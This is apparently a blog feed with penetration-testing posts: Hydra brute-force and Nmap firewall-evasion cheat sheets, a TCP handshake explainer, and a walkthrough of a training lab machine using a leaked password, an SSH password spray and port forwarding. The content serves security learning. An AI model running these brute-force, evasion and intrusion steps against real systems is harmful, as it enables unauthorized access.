&lt;pre&gt;&lt;code&gt;hydra -L &amp;lt;/path/to/usernames/wordlist&amp;gt; -P &amp;lt;/path/to/passwords/wordlist&amp;gt; &amp;lt;IP&amp;gt; http-get /path/
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;HTTP-POST-FORM&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;hydra -L &amp;lt;/path/to/usernames/wordlist&amp;gt; -P &amp;lt;/path/to/passwords/wordlist&amp;gt; &amp;lt;IP&amp;gt; http-post-form &quot;/path:username=^USER^&amp;amp;password=^PASS^:Incorrect Username or Password&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Depending on what we&apos;re up against, we may need to research the tool more thoroughly or practice to learn how to use it efficiently. The techniques listed above are only the most common ones when performing brute-force attacks with &lt;strong&gt;Hydra&lt;/strong&gt;, but they won&apos;t always work, so it&apos;s best to practice.&lt;/p&gt;
</content:encoded></item><item><title>Nmap Cheatsheet</title><link>https://scriptos0.github.io/posts/nmap_cheatsheet/nmap_cheatsheet/</link><guid isPermaLink="true">https://scriptos0.github.io/posts/nmap_cheatsheet/nmap_cheatsheet/</guid><description>Nmap Cheatsheet to help make your network scanning a whole lot easier. If you always forget the exact flags for OS detection or fast scans, this guide is for you. It’s straight to the point, easy to read, and perfect for your cybersecurity toolkit.</description><pubDate>Mon, 13 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Nmap&lt;/h1&gt;
&lt;h2&gt;Multiple Targets Scan&lt;/h2&gt;
&lt;p&gt;Initial Host Discovery&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sn &amp;lt;IP&amp;gt;/&amp;lt;CIDR&amp;gt; -oG hosts.gnmap
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Export hosts into a hostlist&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep &quot;Up&quot; hosts.gnmap | awk &apos;{print $2}&apos; &amp;gt; hosts.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Port Scan&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sS -p- --open -Pn -n --min-rate 5000 -iL hosts.txt -oN ports.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Extract Ports&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep &apos;^[0-9]&apos; ports.txt | cut -d &apos;/&apos; -f1 | sort -u | xargs | tr &apos;&apos; &apos;,&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Service, Version &amp;amp; NSE Detection&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sCV -p&amp;lt;ports&amp;gt; -iL hosts.txt -oN scan.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Single Target Scan&lt;/h2&gt;
&lt;p&gt;TCP Port Scan&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sS -p- --open --min-rate 5000 &amp;lt;IP&amp;gt; -vvv -n -Pn -oG TCPports.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;UDP Port Scan &lt;strong&gt;(Optional)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sU -p- --open --min-rate 500 &amp;lt;IP&amp;gt; -vvv -n -Pn -oG UDPports.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Extract TCP Ports&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep &apos;^[0-9]&apos; TCPports.txt | cut -d &apos;/&apos; -f 1 | xargs | sort -u | tr &apos; &apos; &apos;,&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Extract UDP Ports &lt;strong&gt;(Optional)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep &apos;^[0-9]&apos; UDPports.txt | cut -d &apos;/&apos; -f 1 | xargs | sort -u | tr &apos; &apos; &apos;,&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Service Version Detection on Open Ports&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sCV -p&amp;lt;ports&amp;gt; &amp;lt;IP&amp;gt; -oN portscan.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Firewall Evasion&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sCV -sS -Pn -n -p- &amp;lt;IP&amp;gt; --disable-arp-ping --source-port 53 -D RND:2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&apos;s important to note that there are thousands of ways to bypass firewalls. Below, I&apos;ll list the methods most commonly used by cybersecurity professionals when they want to bypass firewalls&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MTU (--mtu):&lt;/strong&gt; The MTU (Maximum Transmission Unit) evasion technique involves adjusting the size of the packets being sent to avoid detection by the firewall. Nmap allows you to manually configure the maximum packet size to ensure that packets are small enough to pass through the firewall undetected.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Data Length (--data-length):&lt;/strong&gt; This technique involves adjusting the length of the data sent so that it is short enough to pass through the firewall undetected. Nmap allows users to manually configure the length of the data sent so that it is small enough to evade detection by the firewall.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Source Port (--source-port):&lt;/strong&gt; This technique involves manually configuring the source port number of the packets being sent to avoid detection by the firewall. Nmap allows users to manually specify a random source port or a specific port to evade detection by the firewall.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Decoy (-D):&lt;/strong&gt; This evasion technique in Nmap allows the user to send fake packets to the network to confuse intrusion detection systems and avoid detection by the firewall. The -D command allows the user to send fake packets along with the actual scan packets to hide their activity.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fragmented (-f):&lt;/strong&gt; This technique involves fragmenting the packets sent so that the firewall cannot recognize the traffic as a scan. The -f option in Nmap allows you to fragment the packets and send them separately to avoid detection by the firewall.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Spoof-Mac (--spoof-mac):&lt;/strong&gt; This evasion technique involves changing the packet&apos;s MAC address to avoid detection by the firewall. Nmap allows the user to manually configure the MAC address to avoid detection by the firewall.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Stealth Scan (-sS):&lt;/strong&gt; This technique is one of the most commonly used methods for performing stealth scans and avoiding detection by the firewall. The -sS command allows users to perform a SYN scan without establishing a full connection, thereby avoiding detection by the firewall.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;min-rate (--min-rate):&lt;/strong&gt; This technique allows the user to control the speed to the packets that are sent to avoid detection by the firewall.&lt;/p&gt;
</content:encoded></item><item><title>TCP - UDP &amp; Three-Way Handshake</title><link>https://scriptos0.github.io/posts/tcp_udp_three_way_handshake/tcp_udp_twhs/</link><guid isPermaLink="true">https://scriptos0.github.io/posts/tcp_udp_three_way_handshake/tcp_udp_twhs/</guid><description>In this post, you&apos;ll learn how the TCP and UDP protocols work and how connections are established using the Three-Way Handshake.</description><pubDate>Fri, 10 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Protocols TCP &amp;amp; UDP&lt;/h1&gt;
&lt;p&gt;The &lt;strong&gt;TCP&lt;/strong&gt; (Transmission Control Protocol) and &lt;strong&gt;UDP&lt;/strong&gt; (User Datagram Protocol) are two of the most common network protocols used for transferring data over computer networks&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;TCP&lt;/strong&gt; protocol is a connection-oriented protocol that provides reliable data delivery, while the &lt;strong&gt;UDP&lt;/strong&gt; protocol is a connectionless protocol that does not guarantee data delivery&lt;/p&gt;
&lt;p&gt;In other words, in the &lt;strong&gt;TCP (Transmission Control Protocol)&lt;/strong&gt;. Its top priority is reliability. It doesn&apos;t mind taking a little longer, but it ensures that every piece of data reaches its destination intact and in the correct order&lt;/p&gt;
&lt;p&gt;On the other hand, there&apos;s &lt;strong&gt;UDP (User Datagram Protocol)&lt;/strong&gt;. Its top priority is speed. UDP doesn&apos;t care if anything gets lost along the way; its job is to send the information as quickly as possible&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./tcp-vs-udp.png&quot; alt=&quot;TCPvdUDP&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Common TCP Ports&lt;/h1&gt;
&lt;p&gt;21: &lt;strong&gt;FTP (File Transfer Protocol)&lt;/strong&gt; - allows files to be transferred between systems.&lt;/p&gt;
&lt;p&gt;22: &lt;strong&gt;SSH (Secure Shell)&lt;/strong&gt; - a secure network protocol that allows users to connect to and manage systems remotely.&lt;/p&gt;
&lt;p&gt;23: &lt;strong&gt;Telnet&lt;/strong&gt; - a protocol used for remote connection to network devices.&lt;/p&gt;
&lt;p&gt;80: &lt;strong&gt;HTTP (Hypertext Transfer Protocol)&lt;/strong&gt; — the protocol used for data transfer on the World Wide Web.&lt;/p&gt;
&lt;p&gt;443: &lt;strong&gt;HTTPS (Hypertext Transfer Protocol Secure)&lt;/strong&gt; — the secure version of HTTP, which uses SSL/TLS encryption to protect web communications.&lt;/p&gt;
&lt;h1&gt;Common UDP Ports:&lt;/h1&gt;
&lt;p&gt;53: &lt;strong&gt;DNS (Domain Name System)&lt;/strong&gt; — a system that translates domain names into IP addresses.&lt;/p&gt;
&lt;p&gt;67/68: &lt;strong&gt;DHCP (Dynamic Host Configuration Protocol)&lt;/strong&gt; — a protocol used to assign IP addresses and other configuration parameters to devices on a network.&lt;/p&gt;
&lt;p&gt;69: &lt;strong&gt;TFTP (Trivial File Transfer Protocol)&lt;/strong&gt; — a simple protocol used to transfer files between devices on a network.&lt;/p&gt;
&lt;p&gt;123: &lt;strong&gt;NTP (Network Time Protocol)&lt;/strong&gt; — a protocol used to synchronize the clocks of devices on a network.&lt;/p&gt;
&lt;p&gt;161: &lt;strong&gt;SNMP (Simple Network Management Protocol)&lt;/strong&gt; — a protocol used to manage and monitor devices on a network.&lt;/p&gt;
&lt;p&gt;It should be noted that these are just some of the most common ones. There are many more ports that operate over both &lt;strong&gt;TCP&lt;/strong&gt; and &lt;strong&gt;UDP&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;Three-Way Handshake&lt;/h1&gt;
&lt;p&gt;The Three-Way Handshake is a procedure used to establish a connection between two devices. This procedure consists of three steps: &lt;strong&gt;SYN&lt;/strong&gt;, &lt;strong&gt;SYN-ACK&lt;/strong&gt;, and &lt;strong&gt;ACK&lt;/strong&gt;, during which the sequence and acknowledgment numbers of the packets are synchronized between the devices. The Three-Way Handshake is essential for establishing a reliable and secure connection over &lt;strong&gt;TCP&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./threeway.png&quot; alt=&quot;TheeWayHandshake&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;The 3 Handshake Packets in Detail&lt;/h1&gt;
&lt;p&gt;For TCP to work, packets don&apos;t just carry text, they carry &quot;&lt;strong&gt;flags&lt;/strong&gt;&quot; which are like on/off switches and “&lt;strong&gt;sequence numbers&lt;/strong&gt;” to keep track of the order&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;STEP 1&lt;/strong&gt; The Client initiates the connection &lt;strong&gt;(SYN)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The client (for example, your web browser) wants to talk to the server. To do this, it generates a random initial sequence number (let&apos;s call it $Seq = X$) and sends a packet with the SYN flag active (1)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;STEP 2&lt;/strong&gt; The Server responds and proposes &lt;strong&gt;(SYN-ACK)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The server receives the packet. If it has the port open and is willing to talk, it must do two things: confirm that it received the client&apos;s message and propose its own sequence number.
To do this, it sends a packet with two active flags: SYN (1) and ACK (1)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The ACK (Acknowledgment):&lt;/strong&gt; It takes the client&apos;s number ($X$), adds 1 ($X + 1$), and places it in the Acknowledgment Number field&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The SYN (Synchronization):&lt;/strong&gt; The server generates its own independent initial random number (let&apos;s call it $Seq = Y$)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Server State:&lt;/strong&gt; Changes to SYN-RECEIVED&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;STEP 3&lt;/strong&gt; The Client confirms the agreement &lt;strong&gt;(ACK)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The client receives the SYN-ACK from the server. Now the client knows that the server hears it well. The last step is to confirm that it also hears the server well.
It sends a final packet with the ACK flag active (1)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How are the numbers formed?&lt;/strong&gt; The client&apos;s sequence number is now $Seq = X + 1$. The acknowledgment number is the server&apos;s number plus one ($Ack = Y + 1$), which means: &quot;I received your $Y$, I expect the next thing to be $Y+1$&quot;.State of both: The connection becomes officially ESTABLISHED&lt;/p&gt;
&lt;h1&gt;Real Numerical Example&lt;/h1&gt;
&lt;p&gt;Let&apos;s imagine that the initial random numbers assigned by the operating system are simple numbers to understand the protocol&apos;s math:&lt;/p&gt;
&lt;p&gt;SYN (Client $\rightarrow$ Server): * $Seq = 1000$ | $Ack = 0$ | Flag: SYN&lt;/p&gt;
&lt;p&gt;SYN-ACK (Server $\rightarrow$ Client): * $Seq = 5000$ | $Ack = 1001$ ($1000 + 1$) | Flags: SYN, ACK&lt;/p&gt;
&lt;p&gt;ACK (Client $\rightarrow$ Server): * $Seq = 1001$ | $Ack = 5001$ ($5000 + 1$) | Flag: ACK&lt;/p&gt;
&lt;p&gt;From this moment on, if the client wants to send a 100-byte message, the server will know perfectly well that those bytes correspond to the block starting at number $1001$.&lt;/p&gt;
</content:encoded></item><item><title>Funnel</title><link>https://scriptos0.github.io/posts/funnel/funnel/</link><guid isPermaLink="true">https://scriptos0.github.io/posts/funnel/funnel/</guid><description>Funnel is a very easy Linux machine that explores SSH tunneling techniques. The machine features a misconfigured FTP server that allows anonymous authentication, in which a file containing cleartext credentials can be found. Hydra is then used to perform a password spray and get remote access. Upon enumerating the services running locally on the machine, PostgreSQL can be exploited by leveraging port-forwarding.</description><pubDate>Fri, 10 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Reconnaissance&lt;/h1&gt;
&lt;p&gt;Let&apos;s start by using nmap to detect open &lt;strong&gt;TCP&lt;/strong&gt; ports on the victim machine&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sS -p- --open --min-rate 5000 10.129.30.108 -vvv -n -Pn -oG allports.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 63
22/tcp open  ssh     syn-ack ttl 63
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As we can see, we&apos;ve detected two services: &lt;strong&gt;FTP&lt;/strong&gt; and &lt;strong&gt;SSH&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now we&apos;re going to perform service version detection on the open ports&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sVC -p21,22 10.129.30.108 -oN portscan.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Nov 28  2022 mail_backup
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.15.6
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Anonymous FTP Login&lt;/h1&gt;
&lt;p&gt;Thanks to this information, we were able to determine that the FTP service allows &lt;strong&gt;anonymous login&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;So, let&apos;s connect!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./anonymouslogin.png&quot; alt=&quot;anlogin&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Within the FTP service, using the &lt;code&gt;ls&lt;/code&gt; command, we can identify a directory stored on the server&lt;/p&gt;
&lt;p&gt;Let&apos;s see what&apos;s inside&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd mail_backup
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s run the &lt;code&gt;ls&lt;/code&gt; command again&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ls
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./importaninfo.png&quot; alt=&quot;importaninfo&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s download these two files to see what&apos;s inside them&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;prompt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;mget *
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;local: password_policy.pdf remote: password_policy.pdf
229 Entering Extended Passive Mode (|||56800|)
150 Opening BINARY mode data connection for password_policy.pdf (58899 bytes).
100% |***********************************************************************************************************************************************| 58899        2.95 MiB/s    00:00 ETA
226 Transfer complete.
58899 bytes received in 00:00 (2.10 MiB/s)
local: welcome_28112022 remote: welcome_28112022
229 Entering Extended Passive Mode (|||53801|)
150 Opening BINARY mode data connection for welcome_28112022 (713 bytes).
100% |***********************************************************************************************************************************************|   713      543.97 KiB/s    00:00 ETA
226 Transfer complete.
713 bytes received in 00:00 (81.01 KiB/s)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Credentials Found&lt;/h1&gt;
&lt;p&gt;Once the files have been downloaded, we&apos;ll use &lt;code&gt;open&lt;/code&gt; and &lt;code&gt;cat&lt;/code&gt; &lt;code&gt;open&lt;/code&gt; for the file with the &lt;strong&gt;.pdf&lt;/strong&gt; extension&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;open password_policy.pdf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./passwordpolicy.png&quot; alt=&quot;passwdpolicy&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Taking a closer look at the password policy, we see a line that says &lt;strong&gt;&quot;For example the default password of “funnel123#!#” must be changed immediately.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now let&apos;s take a look at the other downloaded file&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat welcome_28112022
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./users.png&quot; alt=&quot;usersdetected&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It looks like we&apos;ve gained some users...&lt;/p&gt;
&lt;h1&gt;Brute-Force Attack with Hydra&lt;/h1&gt;
&lt;p&gt;Now we&apos;ll use &lt;code&gt;Hydra&lt;/code&gt; to try to authenticate with the &lt;strong&gt;SSH&lt;/strong&gt; or &lt;strong&gt;FTP&lt;/strong&gt; service using the credentials we found&lt;/p&gt;
&lt;p&gt;But first, let&apos;s create a wordlist with the users we found&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nvim users.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./wordlist.png&quot; alt=&quot;wordlist&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we&apos;re ready to use &lt;code&gt;Hydra&lt;/code&gt;!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hydra -L users.txt -p &apos;funnel123#!#&apos; 10.129.30.108 ssh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attackcomplete.png&quot; alt=&quot;brute-force-complete&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It looks like we were able to find a username and password for the SSH service&lt;/p&gt;
&lt;p&gt;Now all we have to do is log in&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./wearein.png&quot; alt=&quot;wearein&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Local Services&lt;/h1&gt;
&lt;p&gt;Once we&apos;re in, let&apos;s see which services are running locally on the victim machine&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;netstat -tlnp
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:44737         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::21                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It looks like the machine is running something on port 5432&lt;/p&gt;
&lt;p&gt;Let&apos;s see which service is running on this port&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;netstat -tl
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 localhost:domain        0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN     
tcp        0      0 localhost:postgresql    0.0.0.0:*               LISTEN     
tcp        0      0 localhost:44737         0.0.0.0:*               LISTEN     
tcp6       0      0 [::]:ftp                [::]:*                  LISTEN     
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We were able to detect the service!&lt;/p&gt;
&lt;p&gt;The victim machine is running &lt;strong&gt;PostgreSQL&lt;/strong&gt; locally&lt;/p&gt;
&lt;p&gt;Unfortunately, the victim machine does not have the tool needed to communicate with this service, and we don&apos;t even have elevated privileges to download this tool
so we will need to set up a &lt;strong&gt;Local Port Forwarding&lt;/strong&gt; via &lt;strong&gt;SSH&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;Tunneling&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;ssh -L 1234:localhost:5432 christine@10.129.30.108
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When you run this command, the &lt;strong&gt;SSH&lt;/strong&gt; client will establish a secure connection to the remote &lt;strong&gt;SSH&lt;/strong&gt; server,
and it will listen for incoming connections on the local port &lt;strong&gt;1234&lt;/strong&gt; . When a client connects to the local port,
the &lt;strong&gt;SSH&lt;/strong&gt; client will forward the connection to the remote server on port &lt;strong&gt;5432&lt;/strong&gt; . This allows the local client to
access services on the remote server as if they were running on the local machine.
In the scenario we are currently facing, we want to forward traffic from any given local port, for instance
1234 , to the port on which PostgreSQL is listening, namely 5432 , on the remote server. We therefore
specify port 1234 to the left of localhost , and 5432 to the right, indicating the target port&lt;/p&gt;
&lt;p&gt;Now, to check if it worked correctly, let&apos;s use &lt;code&gt;nmap&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sV -p1234 localhost
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT     STATE SERVICE    VERSION
1234/tcp open  postgresql PostgreSQL DB 15.0 - 15.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And it looks like the tunnel worked properly&lt;/p&gt;
&lt;h1&gt;PostgreSQL Query&lt;/h1&gt;
&lt;p&gt;Now we&apos;ll use the &lt;code&gt;psql&lt;/code&gt; utility to connect to the &lt;strong&gt;PostgreSQL&lt;/strong&gt; service&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;psql -U christine -h 127.0.0.1 -p 1234
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that we&apos;re in, let&apos;s list the databases using &lt;code&gt;\list&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;\list
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./databases.png&quot; alt=&quot;databases&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now, to use the database of our choice, we simply use &lt;code&gt;\c&lt;/code&gt; (database name)&lt;/p&gt;
&lt;p&gt;In this scenario, I&apos;m going to use &lt;strong&gt;secrets&lt;/strong&gt; because it&apos;s the one that stands out the most&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;\c secrets
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now the next step would be to list the tables in the database, to do that we&apos;ll use &lt;code&gt;\dt&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;\dt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./tables.png&quot; alt=&quot;tables&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And as a final step, we&apos;ll list the information contained in that table. To do this, we&apos;ll use &lt;code&gt;SELECT * FROM (table name);&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM flag;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And that&apos;s how we got the flag, so we&apos;re done with this machine!&lt;/p&gt;
</content:encoded></item><item><title>Three</title><link>https://scriptos0.github.io/posts/three/three/</link><guid isPermaLink="true">https://scriptos0.github.io/posts/three/three/</guid><description>Three is a very easy Linux machine featuring a website using a misconfigured AWS S3 bucket as its cloud-storage device. The machine explores web application enumeration and subdomain fuzzing to detect the hidden domain corresponding to the S3 bucket. Then it showcases using the AWS command line interface to access the vulnerable S3 bucket as well as how to exploit it by uploading and triggering a reverse shell.</description><pubDate>Thu, 09 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Reconnaissance&lt;/h1&gt;
&lt;p&gt;Let’s start by checking what &lt;strong&gt;TCP Ports&lt;/strong&gt; are accessible&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sS -p- --open --min-rate 5000 10.129.29.182 -vvv -n -Pn -oG allports.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now let&apos;s apply service version detection to the open ports&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sVC -p22,80 10.129.29.182 -oN portscan.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA)
|   256 e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA)
|_  256 2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Toppers
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As we can see, we have two services: &lt;strong&gt;HTTP&lt;/strong&gt; and &lt;strong&gt;SSH&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;First, let&apos;s take a quick look at the HTTP service&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./http.png&quot; alt=&quot;http&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Brute-Force Attack&lt;/h1&gt;
&lt;p&gt;Unfortunately, we couldn&apos;t find anything interesting, so we&apos;re going to perform a brute-force attack on directories using &lt;strong&gt;Gobuster&lt;/strong&gt;. (We added the -x flag because the web
service uses &lt;strong&gt;PHP&lt;/strong&gt;)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gobuster dir -u 10.129.29.182 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 100 --no-error -x php
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/images               (Status: 301) [Size: 315] [--&amp;gt; http://10.129.29.182/images/]
/index.php            (Status: 200) [Size: 11952]
/.php                 (Status: 403) [Size: 278]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We still don&apos;t have any interesting information &lt;strong&gt;:(&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;While looking at the web service, it occurred to me to scan for subdomains, so we&apos;ll reuse Gobuster by changing the &lt;strong&gt;dir&lt;/strong&gt; flag to &lt;strong&gt;vhost&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;But before we use this technique, let&apos;s map the IP address to the domain name&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nvim /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./mapeodeip.png&quot; alt=&quot;dns&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now let&apos;s continue with the discovery of subdomains&lt;/p&gt;
&lt;h1&gt;Subdomain Discovery&lt;/h1&gt;
